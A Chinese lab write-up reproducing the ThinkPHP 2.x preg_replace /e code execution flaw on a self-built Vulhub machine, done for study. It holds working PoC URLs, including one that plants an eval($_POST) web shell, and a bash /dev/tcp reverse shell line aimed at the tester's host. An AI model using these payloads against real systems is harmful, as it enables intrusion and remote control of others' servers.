郑重声明:所用漏洞环境为自建虚拟机vulnhub靶机环境,仅供本人学习使用。
漏洞简述
ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
准备环境
测试机IP:192.168.79.129
靶机IP:192.168.79.131
1. 启动Vulnhub靶机环境:

2. 验证靶机应用启用成功:

漏洞复现
POC 引用:http://ip:8080/index.php?s=/index/index/name/${@phpinfo()}

http://ip:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

准备反弹Shell文件shell.sh
bash -i >& /dev/tcp/192.168.79.129/4444 0>&1
启http server

使用NC侦听反弹端口

上传并执行反弹Shell文件

得到反弹Shell

关闭环境
